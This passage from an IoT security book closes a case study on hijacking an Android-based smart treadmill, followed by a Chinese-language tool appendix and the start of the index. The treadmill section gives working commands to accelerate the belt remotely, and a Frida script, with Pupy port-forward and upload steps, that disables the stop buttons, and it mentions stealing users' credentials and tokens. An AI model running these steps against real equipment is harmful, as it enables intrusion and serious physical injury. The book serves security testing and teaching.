input issues the `id` command, which displays the user and group names and numeric IDs of the calling process to the standard output, and redirects the output to the file located at */sdcard/status.txt*. Using the `cat` command, which displays the file’s contents, we retrieve the output and verify that the command has been executed with the `root` user’s permissions. We provided the commands as command line arguments between single quotes. Note that the client binary didn’t directly return any command output to the user, so we had to first write the result to a file in the SD card. Now that we have superuser permissions, we can access, interact, and tamper with another app’s functionalities. For example, we can extract the current user’s training data, their password for the cloud fitness tracking app, and their Facebook token, and change the configuration of their training program. #### Remotely Controlling Speed and Incline With our acquired remote shell access and superuser permissions, let’s find a way to control the treadmill’s speed and incline. This requires investigating the software and the equipment’s hardware. See Chapter 3 for a methodology that can help you do this. Figure 15-24 shows an overview of the hardware design. We discovered that the device is built on two main hardware components, called the Hi Kit and the Low Kit. The Hi Kit is composed of the CPU board and the device’s main board; the Low Kit is composed of a hardware control board that acts as an interconnection hub for the main components of the lower assembly.  Figure 15-24: A smart treadmill’s hardware design The CPU board contains a microprocessor programmed with control logic. It manages and processes signals from the LCD touch screen, the NFC reader, the iPod docking station, a client USB port that allows users to connect external devices, and the built-in USB service port used to provide updates. The CPU board also handles the device’s network connectivity through its networking board. The main board is the interface board for all the peripheral devices, such as the speedandinclinejoysticks, emergency buttons, and health sensors. The joysticks allow users to adjust the machine’s speed and elevation during exercise. Each time they’re moved forward or backward, they send a signal to the CPU board to change the speed or the elevation, depending on which joystick is used. The emergency stop button is a safety device that allows the user to stop the machine in an emergency situation. The sensors monitor the user’s heartbeat. The Low Kit consists of the belt motor,the elevation motor, the inverter, and a limit switch. The belt motor and the elevation motor regulate the treadmill’s speed and incline. The inverter device supplies the belt motor with voltage. Variations in this voltage can cause corresponding variations in the tread belt’s acceleration. The limit switch restricts the belt motor’s maximum speed. Figure 15-25 shows how the software communicates with all of these peripheral devices.  Figure 15-25: Software communication with the peripheral devices Two components control the attached peripherals: a custom *Hardware Abstraction Layer**(HAL)* component and an embedded USB microcontroller. The HAL component is an interface implemented by the device vendor that allows the installed Android applications to communicate with hardware-specific device drivers. Android apps use the HAL APIs to get services from hardware devices. These services control the HDMI and the USB ports, as well as the USB microcontroller to send commands to change the belt motor’s speed or the elevation motor’s incline. The treadmill contains a preinstalled Android app named the *Hardware Abstraction Layer APK* that uses these HAL APIs and another app named Equipment APK. The Equipment APK receives hardware commands from other installed apps through an exposed broadcast receiver and then transfers them to the hardware using the Hardware Abstraction Layer APK and the USB microcontroller, as shown in Figure 15-25. The device contains a number of other preinstalled apps, such as the Dashboard APK, which is responsible for the user interface. These apps also need to control the hardware and monitor the existing equipment state. The current equipment state is maintained in another custom preinstalled Android application named the Repository APK, which is in a shared memory segment. A *shared memory segment* is an allocated area of memory that multiple programs or Android apps can access at the same time using direct read or write memory operations. The state is also accessible through exposed Android content providers but using the shared memory allows for greater performance, which the device needs for its real-time operations. For example, each time the user presses one of the Dashboard speed buttons, the device sends a request to the Repository APK’s content provider to update the device’s speed. The Repository APK then updates the shared memory and informs the Equipment APK using an Android Intent. Then the Equipment APK sends the appropriate command through the USB controller to the appropriate peripheral, as shown in Figure 15-26.  Figure 15-26: Sending a command from the Dashboard APK to the hardware Because we’ve gained local shell access with root privileges using the previous attack path, we can use the Repository APK’s exposed content provider to simulate a button activity. This would resemble an action received from the Dashboard APK. Using the `content update` command, we can simulate the button that increases the treadmill’s speed: ``` $ **content update --uri content:// com.vendorname.android.repositoryapk.physicalkeyboard.** **AUTHORITY/item --bind JOY_DX_UP:i:1** ``` We follow the command with the `uri` parameter, which defines the exposed content provider, and the `bind` parameter, which binds a specific value to a column. In this case, the command performs an update request to the Repository APK’s exposed content provider named `physicalkeyboard.AUTHORITY/item` and sets the value of the variable named `JOY_DX_UP` to one. You can identify the full name of the application, as well as the name of the exposed content provider and the bind parameter, by decompiling the app using the techniques presented in Chapter 14 and “Analyzing Android Applications” on page 360. The victim is now on a remotely controlled treadmill that is accelerating to its maximum speed! #### Disabling Software and Physical Buttons To stop the device—or treadmill, in this case—the user can normally press one of the available dashboard screen buttons, such as the pause button, the restart button, the cool-down button, the stop button, or any buttons that control the device’s speed. These buttons are part of the pre-installed software that controls the device’s user interface. It’s also possible to halt the device using the physical joystick buttons that control the speed and incline or the *emergency stop key*, a completely independent physical button embedded in the lower part of the device hardware, as shown in Figure 15-27.  Figure 15-27: Software and physical buttons that allow a user to stop the treadmill Each time the user presses one of the buttons, the device uses the Android IPC. An insert, update, or delete operation takes place in the content provider part of the app that controls the device’s speed. We can use a simple Frida script to disable this communication. *Frida* is a dynamic tampering framework that allows the user to replace specific in-memory function calls. We used it in Chapter 14 to disable an Android app’s root detection. In this case, we can use a similar script to replace the repository app’s content provider update functionality to stop receiving new intents from the buttons. Initially, we create a port forward for port 27042, which the Frida server will use, using the Pupy agent’s `portfwd` command: ``` $ **run portfwd -L 127.0.0.1:27042:127.0.0.1:27042** ``` The `-L` parameter indicates that we want to perform a port forward from port 27042 of the localhost 127.0.0.1 to the remote device at the same port. The hosts and ports must be separated with the colon (:) character. Now whenever we connect to this port on our local device, a tunnel will be created connecting us to the same port on the target device. Then we upload the Frida server for ARM platforms ([`github.com/frida/frida/releases/`](https://github.com/frida/frida/releases/)) to the treadmill using Pupy’s `upload` command: ``` $ **run upload frida_arm /data/data/org.pupy.pupy/files/frida_arm** ``` The `upload` command receives, as the first argument, the location of the binary that we want to upload to our device, and as the second argument, the location in which to place this binary on the remote device. We use our shell access to mark the binary as executable using the `chmod` utility and start the server: ``` $ **chmod 777 /data/data/org.pupy.pupy/files/frida_arm** $ **/data/data/org.pupy.pupy/files/frida_arm &** ``` Then we use the following Frida script, which replaces the button functionality with instructions to perform no action: ``` var PhysicalKeyboard = Java.use(“com.vendorname.android.repositoryapk.cp.PhysicalKeyboardCP”);1 PhysicalKeyboard.update.implementation = function(a, b, c, d){ return; } ``` As mentioned earlier, the Repository APK handles the buttons’ activities. To locate the exact function that you need to replace 1, you’ll have to decompile the app using the techniques presented in “Analyzing Android Applications” on page 360. Finally, we install the Frida framework on our system using the `pip` package manager for Python and execute the previous Frida script: ``` $ **pip install frida-tools** $ **frida -H 127.0.0.1:27042 –f com.vendorname.android.repositoryapk -l script.js** ``` We use the `-H` parameter to specify the Frida server’s host and port, the `-f` parameter to specify the full name of the targeted application, and the `-l` parameter to select the script. We must provide the application’s full name in the command, which, once again, you can find by decompiling the app. Now, even if the victim attempts to select one of the software buttons in the Dashboard APK or press the physical buttons that control the speed and incline to stop the device, they won’t succeed. Their only remaining choices are to locate and press the emergency stop button at the lower part of the device hardware or find another way to turn off the power. #### Could This Vulnerability Exploitation Cause a Fatal Accident? The chance of a user getting a serious injury as a result of the attacks we’ve described isn’t negligible. The device reached a speed of 27 km/h, or 16.7 mph. Most commercial treadmills can reach speeds between 12 and 14 mph; the highest-end models top out at 25 mph. Let’s compare this speed with the men’s 100 meters final race at the 2009 World Athletics Championships held at the Olympic Stadium in Berlin. Usain Bolt finished in a world record-breaking time of 9.58 seconds and was clocked at 44.72 km/h, or 27.8 mph! Unless you’re as fast as Bolt, you probably won’t be able to outrun the treadmill. A number of real-life incidents verify the danger of a smart treadmill attack. Dave Goldberg, the SurveyMonkey CEO, lost his life after hitting his head in a treadmill accident. (According to the autopsy, a heart arrhythmia might have also contributed to his death.) In addition, between 1997 and 2014, an estimated 4,929 patients went to US emergency rooms with head injuries they sustained while exercising on treadmills. ## Conclusion In this chapter, we explored how an adversary could tamper with popular IoT devices found in modern smart homes and businesses. You learned how to circumvent modern RFID door locks and then jam wireless alarm systems to avoid detection. You played back security camera feed obtained from network traffic. Then we walked through how you might take over control of a smart treadmill to cause the victim potentially fatal injuries. You could use the case studies provided to walk through a holistic smart home assessment or treat them as a testament to the underlying impact that vulnerable smart home IoT devices might introduce. Now go explore your own smart home!
第十六章:IoT 黑客工具

本附录列出了流行的 IoT 黑客软件和硬件工具。它包括了本书中讨论的工具,以及一些我们没有涉及但仍然很有用的工具。虽然这不是一个完整的 IoT 黑客工具目录,但它可以作为快速入门的指南。我们按照字母顺序列出了这些工具。为了方便参考,请查看第 414 页的“按章节分类的工具”部分,该部分包含了工具与使用这些工具的章节的对应表。
Adafruit FT232H Breakout
Adafruit FT232H Breakout 可能是与 I²C、SPI、JTAG 和 UART 接口连接的最小且最便宜的设备。它的主要缺点是没有预先焊接插头。它基于 FT232H 芯片,这是 Attify Badge、Shikra 和 Bus Blaster 使用的芯片(尽管 Bus Blaster 使用的是双通道版本 FT2232H)。你可以在www.adafruit.com/product/2264购买它。
Aircrack-ng
Aircrack-ng 是一套用于 Wi-Fi 安全测试的开源命令行工具。它支持数据包捕获、重放攻击和去认证攻击,还能破解 WEP 和 WPA PSK。我们在第十二章和第十五章中广泛使用了 Aircrack-ng 工具集中的各种程序。你可以在www.aircrack-ng.org/找到所有工具。
Alfa Atheros AWUS036NHA
Alfa Atheros AWUS036NHA 是一款无线(802.11 b/g/n)USB 适配器,我们在第十二章中使用它进行 Wi-Fi 攻击。Atheros 芯片组因支持 AP 监控模式和具有数据包注入能力而闻名,这两者在进行大多数 Wi-Fi 攻击时都至关重要。你可以在www.alfa.com.tw/products_detail/7.htm了解更多信息。
Android 调试桥
Android 调试桥(adb)是一款与 Android 设备进行通信的命令行工具。我们在第十四章中广泛使用它与易受攻击的 Android 应用进行交互。你可以在developer.android.com/studio/command-line/adb了解所有关于它的信息。
Apktool
Apktool 是一款用于静态分析 Android 二进制文件的工具。我们在第十四章展示了如何使用它分析 APK 文件。可以从ibotpeaches.github.io/Apktool/下载它。
Arduino
Arduino 是一个廉价、易于使用的开源电子平台,允许你使用 Arduino 编程语言来编程微控制器。我们在第七章中使用 Arduino 编写了一个用于黑丸微控制器的易受攻击程序。第八章中使用 Arduino UNO 作为 I²C 总线上的控制器。在第十三章中,我们使用 Arduino 编程 Heltec LoRa 32 开发板作为 LoRa 发送器。Arduino 的官网是www.arduino.cc/。
Attify Badge
Attify Badge 是一个可以通过 UART、1-WIRE、JTAG、SPI 和 I²C 进行通信的硬件工具。它支持 3.3V 和 5V 电流。它基于 FT232H 芯片,该芯片用于 Adafruit FT232H Breakout、Shikra 和 Bus Blaster(尽管 Bus Blaster 使用的是双通道版本 FT2232H)。你可以在www.attify-store.com/products/attify-badge-uart-jtag-spi-i2c-pre-soldered-headers找到预焊接头的 badge。
Beagle I2C/SPI 协议分析仪
Beagle I2C/SPI 协议分析仪是一种硬件工具,用于高性能监控 I²C 和 SPI 总线。你可以在www.totalphase.com/products/beagle-i2cspi/购买它。
Bettercap
Bettercap 是一个用 Go 语言编写的开源多功能工具。你可以使用它进行 Wi-Fi、BLE 和无线 HID 设备的侦察,以及以太网中间人攻击。我们在第十一章中使用它进行 BLE 破解。你可以在www.bettercap.org/下载它。
BinaryCookieReader
BinaryCookieReader 是一个用于解码 iOS 应用程序二进制 Cookie 的工具。我们在第十四章中使用它做了相关操作。可以在github.com/as0ler/BinaryCookieReader/找到它。
Binwalk
Binwalk 是一个用于分析和提取固件的工具。它可以使用自定义签名识别固件镜像中嵌入的文件和代码,这些签名通常用于固件镜像中的文件(如档案、头文件、引导加载程序、Linux 内核和文件系统)。我们在第九章中使用 Binwalk 分析了 Netgear D600 路由器的固件,并在第四章中提取了 IP 摄像头固件的文件系统。你可以在github.com/ReFirmLabs/binwalk/下载它。
BladeRF
BladeRF 是一个 SDR 平台,类似于 HackRF One、LimeSDR 和 USRP。它有两个版本,更新且更贵的 bladeRF 2.0 micro 支持更广泛的频率范围,从 47 MHz 到 6 GHz。你可以在www.nuand.com/.了解更多关于 bladeRF 产品的信息。
BlinkM LED
BlinkM LED 是一个全彩 RGB LED,可以通过 I²C 进行通信。第八章将 BlinkM LEDs 作为 I²C 总线上的外设使用。你可以在www.sparkfun.com/products/8579/找到该产品的 datasheet 或从中购买。
Burp Suite
Burp Suite 是用于 Web 应用程序安全测试的标准工具。它包括一个代理服务器、Web 漏洞扫描器、爬虫和其他高级功能,你还可以通过 Burp 扩展来扩展它的功能。你可以在portswigger.net/burp/免费下载社区版。
Bus Blaster
Bus Blaster 是一款兼容 OpenOCD 的高速 JTAG 调试器,基于双通道 FT2232H 芯片。我们在第七章中使用 Bus Blaster 与 STM32F103 目标设备上的 JTAG 进行接口连接。你可以在dangerousprototypes.com/docs/Bus_Blaster下载。
Bus Pirate
Bus Pirate 是一款开源多功能工具,专用于编程、分析和调试微控制器。它支持多种总线模式,例如 bitbang、SPI、I²C、UART、1-Wire、原始线和通过特殊固件支持的 JTAG。你可以在dangerousprototypes.com/docs/Bus_Pirate找到更多信息。
CatWAN USB Stick
CatWAN USB Stick 是一款开源 USB 启动器,设计用于 LoRa/LoRaWAN 收发器。在第十三章中,我们将它用作嗅探器,捕获 Heltec LoRa 32 和 LoStik 之间的 LoRa 流量。你可以在electroniccats.com/store/catwan-usb-stick/购买。
ChipWhisperer
ChipWhisperer 项目是一款用于进行侧信道功耗分析和对硬件目标进行故障攻击的工具。它包含开源硬件、固件和软件,提供多种开发板和示例目标设备用于练习。你可以在www.newae.com/chipwhisperer/购买。
CircuitPython
CircuitPython 是一种易于使用的开源语言,基于 MicroPython,这是一种优化用于在微控制器上运行的 Python 版本。我们在第十三章中使用 CircuitPython 将 CatWAN USB 启动器编程为 LoRa 嗅探器。它的网站在circuitpython.org/.
Clutch
Clutch 是一个用于解密 iOS 设备内存中 IPA 文件的工具。我们在第十四章中简要提到过它。你可以在github.com/KJCracks/Clutch/下载。
CubicSDR
CubicSDR 是一款跨平台的 SDR 应用程序。我们在第十五章中使用它将无线电频谱转换成我们可以分析的数字流。你可以在github.com/cjcliffe/CubicSDR/找到它。
Dex2jar
Dex2jar 是一款用于将 Android 包中的 DEX 文件转换为更易阅读的 JAR 文件的工具。我们在第十四章中使用它对 APK 文件进行反编译。你可以在github.com/pxb1988/dex2jar/下载。
Drozer
Drozer 是一款 Android 安全测试框架。我们在第十四章中使用它对一个易受攻击的 Android 应用进行了动态分析。你可以在github.com/FSecureLABS/drozer/获取它。
FIRMADYNE
FIRMADYNE 是一款用于模拟和动态分析基于 Linux 的嵌入式固件的工具。我们在第九章中展示了 FIRMADYNE,模拟了 Netgear D600 路由器的固件。你可以在github.com/firmadyne/firmadyne/找到 FIRMADYNE 的源代码和文档。
Firmwalker
Firmwalker 在提取或挂载的固件文件系统中搜索有趣的数据,如密码、加密密钥等。在第九章中,我们展示了如何使用 Firmwalker 进行 Netgear D600 固件分析。你可以在 github.com/craigz28/firmwalker/ 找到它。
固件分析和比较工具(FACT)
FACT 是一个用于自动化固件分析过程的工具,能够解包固件文件并在其中搜索敏感信息,如凭证、加密材料等。你可以在 github.com/fkie-cad/FACT_core/ 找到它。
Frida
Frida 是一个动态二进制插桩框架,用于分析正在运行的进程并生成动态钩子。我们在第十四章中使用它来避免 iOS 应用中的越狱检测,并且避免 Android 应用中的 root 检测。我们还在第十五章中使用它来破解控制智能跑步机的按钮。你可以在 frida.re/. 了解更多信息。
FTDI FT232RL
FTDI FT232RL 是一个 USB 到串行 UART 适配器。我们在第七章中使用它与黑色小药丸微控制器的 UART 端口进行接口连接。我们使用的是 www.amazon.com/Adapter-Serial-Converter-Development-Projects/dp/B075N82CDL/,但也有更便宜的替代品。
GATTTool
通用属性配置文件工具(GATTTool)用于发现、读取和写入 BLE 属性。我们在第十一章中广泛使用它来演示各种 BLE 攻击。GATTTool 是 BlueZ 的一部分,你可以在 www.bluez.org/. 找到它。
GDB
GDB 是一个便携的、成熟的、功能完整的调试器,支持多种编程语言。在第七章中,我们与 OpenOCD 一起使用它通过 SWD 对设备进行攻击。你可以在 www.gnu.org/software/gdb/. 了解更多信息。
Ghidra
Ghidra 是由美国国家安全局(NSA)开发的一个免费的开源逆向工程工具。它常常与 IDA Pro 相比较,后者是闭源的且价格昂贵,但具有 Ghidra 所不具备的功能。你可以在 github.com/NationalSecurityAgency/ghidra/ 下载 Ghidra。
HackRF One
HackRF One 是一个流行的开源 SDR 硬件平台。它支持从 1 MHz 到 6 GHz 的无线电信号。你可以将其用作独立工具或作为 USB 2.0 外设。类似的工具包括 bladeRF、LimeSDR 和 USRP。HackRF 仅支持半双工通信,而其他工具则支持全双工通信。你可以通过 Great Scott Gadgets 了解更多信息,网址为 greatscottgadgets.com/hackrf/one/.。
Hashcat
Hashcat 是一个快速的密码恢复工具,能够利用 CPU 和 GPU 加速破解速度。我们在第十二章中使用它恢复了 WPA2 PSK。它的网站是 hashcat.net/hashcat/.
Hcxdumptool
Hcxdumptool 是一个用于从无线设备捕获数据包的工具。我们在第十二章中使用它捕获 Wi-Fi 流量,然后分析这些数据来通过 PMKID 攻击破解 WPA2 PSK。可以从 github.com/ZerBea/hcxdumptool/ 获取。
Hcxtools
Hcxtools 是一套用于将捕获的数据包转换为与 Hashcat 或 John the Ripper 等工具兼容的格式的工具套件,用于破解。我们在第十二章中使用它通过 PMKID 攻击破解了 WPA2 PSK。可以从 github.com/ZerBea/hcxtools/ 获取。
Heltec LoRa 32
Heltec LoRa 32 是一个低成本的基于 ESP32 的 LoRa 开发板。我们在第十三章中使用它发送 LoRa 无线流量。你可以从 heltec.org/project/wifi-lora-32/ 获取。
Hydrabus
Hydrabus 是另一个开源硬件工具,支持诸如原始线路、I²C、SPI、JTAG、CAN、PIN、NAND Flash 和 SMARTCARD 等模式。它用于调试、分析和攻击通过支持的协议连接的设备。你可以在 hydrabus.com/ 找到 Hydrabus。
IDA Pro
IDA Pro 是最流行的二进制分析和逆向工程反汇编工具。商业版可在 www.hex-rays.com/ 获取,免费版可以在 www.hex-rays.com/products/ida/support/download_freeware.shtml 下载。作为 IDA Pro 的免费开源替代品,可以看看 Ghidra。
JADX
JADX 是一个将 DEX 转换为 Java 的反编译工具。它允许你轻松查看来自 Android DEX 和 APK 文件的 Java 源代码。我们在第十四章中简要展示过它。你可以在 github.com/skylot/jadx/ 下载它。
JTAGulator
JTAGulator 是一个开源硬件工具,帮助识别目标设备上的芯片内调试(OCD)接口,方法是从测试点、通孔或元件焊盘中提取信息。我们在第七章中提到过它。你可以在 www.jtagulator.com/ 获取更多有关如何使用和购买 JTAGulator 的信息。
John the Ripper
John the Ripper 是最流行的免费开源跨平台密码破解工具。它支持字典攻击和暴力破解模式,可以破解多种加密的密码格式。我们经常用它来破解 IoT 设备中的 Unix shadow 哈希,如第九章中所示。它的网站是 www.openwall.com/john/.
LimeSDR
LimeSDR 是一个低成本的开源软件定义无线电(SDR)平台,能够与 Snappy Ubuntu Core 集成,允许你下载和使用现有的 LimeSDR 应用程序。它的频率范围是 100 kHz 到 3.8 GHz。你可以在 www.crowdsupply.com/lime-micro/limesdr/ 获取它。
LLDB
LLDB 是一个现代的开源调试器,是 LLVM 项目的一部分。它专门用于调试 C、Objective-C 和 C++ 程序。我们在第十四章中介绍了它,用于利用 iGoat 移动应用程序。可以在 lldb.llvm.org/ 找到它。
LoStik
LoStik 是一个开源的 USB LoRa 设备。我们在第十三章中使用它作为 LoRa 无线电流量的接收器。你可以在 ronoth.com/lostik/ 获取它。
Miranda
Miranda 是一个用于攻击 UPnP 设备的工具。我们在第六章中使用 Miranda 穿透了一个易受攻击的启用 UPnP 的 OpenWrt 路由器的防火墙。Miranda 位于 code.google.com/archive/p/mirandaupnptool/。
移动安全框架(MobSF)
MobSF 是一个用于执行移动应用程序二进制文件静态和动态分析的工具。可以在 github.com/MobSF/Mobile-Security-Framework-MobSF/ 获取它。
Ncrack
Ncrack 是一个高速网络认证破解工具,作为 Nmap 套件的一部分进行开发。我们在第四章中详细讨论了 Ncrack,展示了如何为 MQTT 协议编写模块。Ncrack 托管在 nmap.org/ncrack/。
Nmap
Nmap 可能是最受欢迎的免费开源网络发现和安全审计工具。Nmap 套件包括 Zenmap(Nmap 的图形界面)、Ncat(网络调试工具和现代实现的 netcat)、Nping(一个类似 Hping 的数据包生成工具)、Ndiff(用于比较扫描结果)、Nmap 脚本引擎(NSE;用于通过 Lua 脚本扩展 Nmap)、Npcap(基于 WinPcap/Libpcap 的数据包嗅探库)和 Ncrack(网络认证破解工具)。你可以在 nmap.org/ 找到 Nmap 套件的工具。
OpenOCD
OpenOCD 是一个免费且开源的工具,旨在通过 JTAG 和 SWD 调试 ARM、MIPS 和 RISC-V 系统。我们在第七章中使用 OpenOCD 通过 SWD 接口与我们的目标设备(黑色小板)进行交互,并在 GDB 的帮助下进行利用。你可以在 openocd.org/ 了解更多信息。
Otool
Otool 是一个用于 macOS 环境的目标文件显示工具。我们在第十四章中简要使用了它。它是 Xcode 包的一部分,你可以在 developer.apple.com/downloads/index.action 访问。
OWASP Zed Attack Proxy
OWASP Zed Attack Proxy (ZAP) 是一个开源的 Web 应用安全扫描器,由 OWASP 社区维护。它是 Burp Suite 的完全免费替代品,尽管它没有那么多高级功能。你可以在 www.zaproxy.org/ 上找到它。
Pholus
Pholus 是一款 mDNS 和 DNS-SD 安全评估工具,我们在第六章中演示了它。你可以从 github.com/aatlasis/Pholus 下载它。
Plutil
Plutil 是一款用于将属性列表(.plist)文件从一种格式转换为另一种格式的工具。我们在第十四章中使用它从一个易受攻击的 iOS 应用程序中提取凭证。Plutil 是为 macOS 环境构建的。
Proxmark3
Proxmark3 是一款通用的 RFID 工具,配备强大的 FPGA 微控制器,能够读取和仿真低频和高频标签。第十章中的 RFID 和 NFC 攻击 heavily 依赖 Proxmark3 的硬件和软件。我们在第十五章中也使用了该工具克隆钥匙锁系统的 RFID 标签。你可以在 github.com/Proxmark/proxmark3/wiki/ 上了解更多信息。
Pupy
Pupy 是一个开源的跨平台后渗透工具,使用 Python 编写。我们在第十五章中使用它在基于 Android 的跑步机上设置远程 shell。你可以在 github.com/n1nj4sec/pupy/ 上获取它。
Qark
Qark 是一款用于扫描 Android 应用程序漏洞的工具。我们在第十四章中简要使用了它。你可以在 github.com/linkedin/qark/ 上下载它。
QEMU
QEMU 是一个开源的硬件虚拟化仿真器,具有完整的系统和用户模式仿真功能。在物联网黑客攻击中,它非常适合仿真固件二进制文件。第九章中讨论的固件分析工具,如 FIRMADYNE,就依赖于 QEMU。其官网地址为 www.qemu.org/。
Radare2
Radare2 是一个功能齐全的反向工程和二进制分析框架。我们在第十四章中使用它分析了一个 iOS 二进制文件。你可以在 rada.re/n/ 上找到它。
Reaver
Reaver 是一款用于暴力破解 WPS PIN 的工具。我们在第十二章中演示了 Reaver。你可以在 github.com/t6x/reaver-wps-fork-t6x/ 上找到它。
RfCat
RfCat 是一个开源的无线电狗头固件,允许你使用 Python 控制无线收发器。你可以在 github.com/atlas0fd00m/rfcat/ 上获取它。
RFQuack
RFQuack 是一款用于射频操作的库固件,支持多种无线电芯片(CC1101、nRF24 和 RFM69HW)。你可以在 github.com/trendmicro/RFQuack/ 获取它。
Rpitx
Rpitx 是一款开源软件,你可以使用它将 Raspberry Pi 转换为一个 5 kHz 到 1500 MHz 的射频发射器。我们在第十五章中使用它来干扰无线报警器。你可以从 github.com/F5OEO/rpitx/ 下载它。
RTL-SDR DVB-T Dongle
RTL-SDR DVB-T Dongle 是一款低成本的 SDR,配备 Realtek RTL2832U 芯片,可以用于接收(但不能发射)无线电信号。我们在第十五章中使用它捕获无线报警器的无线电流,随后进行了干扰。你可以在 www.rtl-sdr.com/ 了解更多关于 RTL-SDR Dongle 的信息。
RTP Tools
RTP Tools 是一套用于处理 RTP 数据的程序。我们在第十五章中使用它回放通过网络流式传输的 IP 摄像头视频。你可以在 github.com/irtlab/rtptools/ 找到它。
Scapy
Scapy 是最受欢迎的封包构造工具之一。它是用 Python 编写的,能够解码或伪造多种网络协议的数据包。我们在第四章中使用它创建自定义 ICMP 数据包,以帮助进行 VLAN 跳跃攻击。你可以在 scapy.net/ 获取它。
Shikra
Shikra 是一款硬件黑客工具,声称可以克服 Bus Pirate 的不足,不仅可以进行调试,还能执行诸如位突发或模糊测试等攻击。它支持 JTAG、UART、SPI、I²C 和 GPIO。它基于 FT232H 芯片,后者用于 Attify Badge、Adafruit FT232H Breakout 和 Bus Blaster(Bus Blaster 使用双通道版本的 FT2232H)。你可以在 int3.cc/products/the-shikra/ 获取它。
STM32F103C8T6(黑色药丸)
黑色药丸是一款广受欢迎且价格便宜的微控制器,采用 ARM Cortex-M3 32 位 RISC 核心。我们在第七章中使用黑色药丸作为 JTAG/SWD 漏洞攻击的目标设备。你可以通过多个在线平台购买黑色药丸,包括在 www.amazon.com/RobotDyn-STM32F103C8T6-Cortex-M3-Development-bootloader/dp/B077SRGL47/ 购买。
S3Scanner
S3Scanner 是一款用于枚举目标 Amazon S3 存储桶的工具。我们在第九章中使用它来查找 Netgear 的 S3 存储桶。你可以在 github.com/sa7mon/S3Scanner/ 下载它。
Ubertooth One
Ubertooth One 是一款流行的开源硬件和软件工具,用于蓝牙和 BLE 攻击。你可以在 greatscottgadgets.com/ubertoothone/ 上了解更多信息。
Umap
Umap 是一款通过 WAN 接口远程攻击 UPnP 的工具。我们在第六章中描述并使用了 Umap。你可以从 toor.do/umap-0.8.tar.gz 下载它。
USRP
USRP 是一系列具有广泛应用的 SDR 平台。你可以在 www.ettus.com/ 上了解更多信息。
VoIP Hopper
VoIP Hopper 是一个开源工具,用于进行 VLAN 跳跃安全测试。VoIP Hopper 可以模拟 Cisco、Avaya、Nortel 和 Alcatel-Lucent 环境中的 VoIP 电话行为。我们在第四章中使用它模拟 Cisco 的 CDP 协议。你可以在voiphopper.sourceforge.net/下载它。
Wifiphisher
Wifiphisher 是一个用于进行 Wi-Fi 关联攻击的恶意接入点框架。我们在第十二章中使用 Wifiphisher 对 TP Link 接入点和受害者移动设备进行已知信标攻击。你可以在github.com/wifiphisher/wifiphisher/下载 Wifiphisher。
Wireshark
Wireshark 是一款开源网络数据包分析工具,也是最受欢迎的免费数据包捕获工具。我们在全书中广泛使用并讨论了 Wireshark。你可以从www.wireshark.org/下载它。
Yersinia
Yersinia 是一款开源工具,用于执行第二层攻击。我们在第四章中使用 Yersinia 发送 DTP 数据包并进行交换机欺骗攻击。你可以在github.com/tomac/yersinia/找到它。
按章节工具
| 章节 | 工具 |
|---|---|
| 1: 物联网安全世界 | 无 |
| 2: 威胁建模 | 无 |
| 3: 安全测试方法学 | 无 |
| 4: 网络评估 | Binwalk, Nmap, Ncrack, Scapy, VoIP Hopper, Yersinia |
| 5: 分析网络协议 | Wireshark, Nmap / NSE |
| 6: 利用零配置网络 | Wireshark, Miranda, Umap, Pholus, Python |
| 7: UART、JTAG 和 SWD 利用 | Arduino, GDB, FTDI FT232RL, JTAGulator, OpenOCD, ST-Link v2 编程器, STM32F103C8T6 |
| 8: SPI 和 I²C | Bus Pirate, Arduino UNO, BlinkM LED |
| 9: 固件破解 | Binwalk, FIRMADYNE, Firmwalker, Hashcat, S3Scanner |
| 10: 短程无线电:滥用 RFID | Proxmark3 |
| 11: 低功耗蓝牙 | Bettercap, GATTTool, Wireshark, BLE USB 加密狗(如:Ubertooth One) |
| 12: 中程无线电:Wi-Fi 破解 | Aircrack-ng, Alfa Atheros AWUS036NHA, Hashcat, Hcxtools, Hcxdumptool, Reaver, Wifiphisher, |
| 13: 长程无线电:LPWAN | Arduino, CircuitPython, Heltec LoRa 32, CatWAN USB, LoStik |
| 14: 攻击移动应用 | Adb, Apktool, BinaryCookieReader, Clutch, Dex2jar, Drozer, Frida, JADX, Plutil, Otool, LLDB, Qark, Radare2 |
| 15: 智能家居攻击 | Aircrack-ng, CubicSDR, Frida, Proxmark3, Pupy, Rpitx, RTL-SDR DVB-T, Rtptools |
第十七章:索引
请注意,索引链接指向每个术语的大致位置。
斜体页码表示术语的定义。
符号与数字
*字符,255,263
8N1 UART 配置,158
802.11 协议,288
802.11w,289
A
AAAA 记录,138–139
A-ASSOCIATE 中止消息,96
A-ASSOCIATE 接受消息,96
A-ASSOCIATE 拒绝消息,96
A-ASSOCIATE 请求消息,96
C-ECHO 请求分解器,构建,101–105
定义结构,112–113
概述,96
解析响应,113–114
结构,101–102
编写上下文,110–111
ABP(通过个性化激活),324,326–327,330–331
抽象语法,111
访问位,251–252
访问控制,测试,49–50
访问点(APs),287
破解 WPA 企业版,304–305
破解 WPA/WPA2,299–300
一般讨论,287–288
概述,299
访问端口,60
帐户权限,测试,51
ACK 欺骗,331
通过个性化激活(ABP),324,326–327,330–331
主动侦察,43,43–45
主动 RFID 技术,241–242
主动爬行,48
活动,在 Android 应用中,361
活动跟踪系统,385
Adafruit CircuitPython
设置,318–319
编写 LoRa 嗅探器,320–322
Adafruit FT232H 扩展板,401–402
adb(Android 调试桥),360,402
adb logcat,367–368
adb pull命令,361
AddPortMapping命令,125–126,130
地址层,UPnP,119
地址搜索宏,[204](c08.xhtml#Page_204)
地址空间布局随机化,[345](c14.xhtml#Page_345)
管理员凭证,Netgear D6000,213–214
ADV_IND PDU 类型,271
ADV_NONCONN_IND PDU 类型,271
高级持续性威胁 (APT) 攻击,[26](c02.xhtml#Page_26)
对手,6
aes128_cmac 函数,325
AES 128-位密钥,323,325,326
AFI(应用程序系列标识符),[244](c10.xhtml#Page_244)
-afre 参数,135–136
后市场安全,5
Aircrack-ng,289,300–301,402
Aireplay-ng,290
Airmon-ng,289–290,297–298
Airodump-ng,290,301
Akamai,118
Akerun 智能锁 iOS 应用,357
警报,干扰无线,375–379
Alfa Atheros AWUS036NHA,402
改变 RFID 标签,255–256
亚马逊 S3 存储桶,209–210
Amcrest IP 摄像头,147–152
放大攻击,94
分析阶段,网络协议检查,92–93
Andriesse,Dennis,218
Android 应用程序。参见 智能跑步机,攻击
二进制逆向,362–363
动态分析,363–367
提取 APK,361
MIFARE,利用其进行攻击,256–257
网络流量,拦截与检查,367
概述,360
准备测试环境,360–361
安全控制,339–341
辅助通道泄漏,367–368
静态分析,361–362
威胁,针对,337–338
Android 调试桥 (adb),360,402
